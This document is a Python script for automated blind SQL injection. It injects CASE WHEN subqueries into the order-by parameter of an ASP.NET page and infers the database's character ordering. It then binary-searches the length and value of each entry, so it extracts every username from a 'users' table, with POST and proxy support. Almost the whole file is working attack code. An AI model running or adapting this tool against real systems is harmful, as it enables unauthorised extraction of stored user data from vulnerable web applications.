# based on http://practicaldev.blogspot.com/2009/05/python-30-ssl-over-proxy.html
import urllib.request
from urllib.error import URLError, HTTPError
from urllib.parse import urlencode, urlsplit, parse_qsl, urlunsplit
from html.parser import HTMLParser, HTMLParseError
import sys
import math
from functools import reduce
baseAddr = 'http://127.0.0.1:62946/default.aspx?o=__INJECT__'
cols = ['CustomerID', 'Country']
isTrue = None
extractTable = 'users'
extractColumn = 'username'
searchString = '
'
maxStringLength = 200
usePOST = True
reqAddr = baseAddr.replace('__INJECT__', 'case when (select top 1 cast(' + extractColumn + ' as varbinary(255)) from ' + extractTable + ' where ' + extractColumn + ' not in (__SEEN__)) __OP__ cast(\'__DATA__\' as varbinary(255)) then ' + cols[0] + ' else ' + cols[1] + ' end')
lenAddr = baseAddr.replace('__INJECT__', 'case when (select top 1 datalength(cast(' + extractColumn + ' as varbinary(255))) from ' + extractTable + ' where ' + extractColumn + ' not in (__SEEN__)) __OP__ __DATA__ then ' + cols[0] + ' else ' + cols[1] + ' end')
cmpAddr = baseAddr.replace('__INJECT__', 'case when cast(\'__A__\' as binary(1)) __OP__ cast(\'__B__\' as binary(1)) then ' + cols[0] + ' else ' + cols[1] + ' end')
doneAddr = baseAddr.replace('__INJECT__', 'case when (select count(*) from ' + extractTable + ' where ' + extractColumn + ' not in (__SEEN__)) = 0 then ' + cols[0] + ' else ' + cols[1] + ' end')
trueAddr = baseAddr.replace('__INJECT__', 'case when 1=1 then ' + cols[0] + ' else ' + cols[1] + ' end')
def urlParam(x):
return str(x).replace("'", "''").replace('%', '%25').replace('&', '%26').replace('=', '%3d').replace('#', '%23').replace(';', '%3b').replace('+', '%2B').replace(' ', '%20').replace('"', '%22')
queries = 0
totalQueries = 0
def getResult(url):
global queries
global totalQueries
global isTrue
def doRequest(addr):
f = None
if usePOST:
parts = urlsplit(addr)
postParams = parse_qsl(parts.query)
addr = urlunsplit((parts[0], parts[1], parts[2], '', ''))
f = urllib.request.FancyURLopener().open(addr, urlencode(postParams))
#print(addr, urlencode(postParams))
else:
f = urllib.request.FancyURLopener().open(addr)
#print(addr)
s = str(f.read())
return s[s.index(searchString)+len(searchString)]
if isTrue == None: # initialize
isTrue = doRequest(trueAddr)
print('Set TRUE value to {0}'.format(isTrue))
#print('returned: {0}'.format(s[pos]))
queries += 1
totalQueries += 1
return doRequest(url) == isTrue
def isLessThan(a, b):
url = cmpAddr.replace('__A__', urlParam(a)).replace('__B__', urlParam(b)).replace('__OP__', '<');
return getResult(url)
def isGreaterThan(a, b):
url = cmpAddr.replace('__A__', urlParam(a)).replace('__B__', urlParam(b)).replace('__OP__', '>');
return getResult(url)
def sqlCmp(a, b):
if isLessThan(a,b):
return -1
if isGreaterThan(a, b):
return 1
return 0
calls = 0
def cmp2key(mycmp):
class K:
def __init__(self, obj, *args):
self.obj = obj
def __lt__(self, other):
global calls
calls += 1
return isLessThan(self.obj, other.obj)
return K
alphabet = '\0 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%\'()*+,-./:;=>?@[\\]^_`{|}~'
base = list(alphabet)
base.sort(key=cmp2key(sqlCmp))
print("Got alphabet {0} (len = {1}) in {2} calls".format(base, len(base), calls))
basemap = dict(zip(base, range(0,len(base))))
baselen = len(base)
def numToString(num):
ret = ''
while True:
ret = base[num % baselen] + ret
num = num // baselen
if num == 0:
break
return ret.lstrip(base[0])
def stringToNum(s):
a = list(s)
a.reverse()
ret = 0
for x in range(0, len(a)):
ret += basemap[a[x]]*(baselen**x)
return ret
def bSearch(compareFuncs):
global queries
queries = 0
def bSearchReal(compareFunc, low, high, transform, count=1):
if high < low:
return (None, 0)
mid = low + ((high - low) // 2)
print('Mid = "{0}" ({1})'.format(transform(mid), mid))
#print('H = "{0}", L = "{1}"'.format(transform(high), transform(low)))
result = compareFunc(transform(mid))
if result > 0:
return bSearchReal(compareFunc, low, mid-1, transform, count+1)
elif result < 0:
return bSearchReal(compareFunc, mid+1, high, transform, count+1)
else:
return (transform(mid), 0)
# get the length of the string first
length = bSearchReal(compareFuncs[0], 0, maxStringLength, lambda x: x)[0]
#print(length)
result = bSearchReal(compareFuncs[1], stringToNum(base[0]*length), stringToNum(base[-1]*length), numToString)
if result[0] == None:
return '[failed!]'
cmpMap = reduce(lambda x,y:x+y, map(lambda x: base.index(x)+1, result[0]))+1
print('Queries required: {0} for {1} (vs. {2})'.format(queries, result[0], cmpMap))
return result
# Q: can it go through a proxy? A: Yes.
# Q: can you modify the user-agent? A: Yes.
def seenList(seen):
s = "''"
for x in seen:
s += ",'" + urlParam(x) + "'"
return s
def makeComparisonFuncs(seen):
def comparer(addr):
def pageComparer(candidate):
url = addr.replace('__DATA__', urlParam(candidate)).replace('__SEEN__', seenList(seen))
#print(url)
if getResult(url.replace('__OP__', '<')):
return 1
if getResult(url.replace('__OP__', '>')):
return -1
return 0
return pageComparer
return (comparer(lenAddr), comparer(reqAddr))
if __name__ == '__main__':
seen = []
while not getResult(doneAddr.replace('__SEEN__', seenList(seen))):
result = bSearch(makeComparisonFuncs(seen))
seen.append(result[0])
print(seen)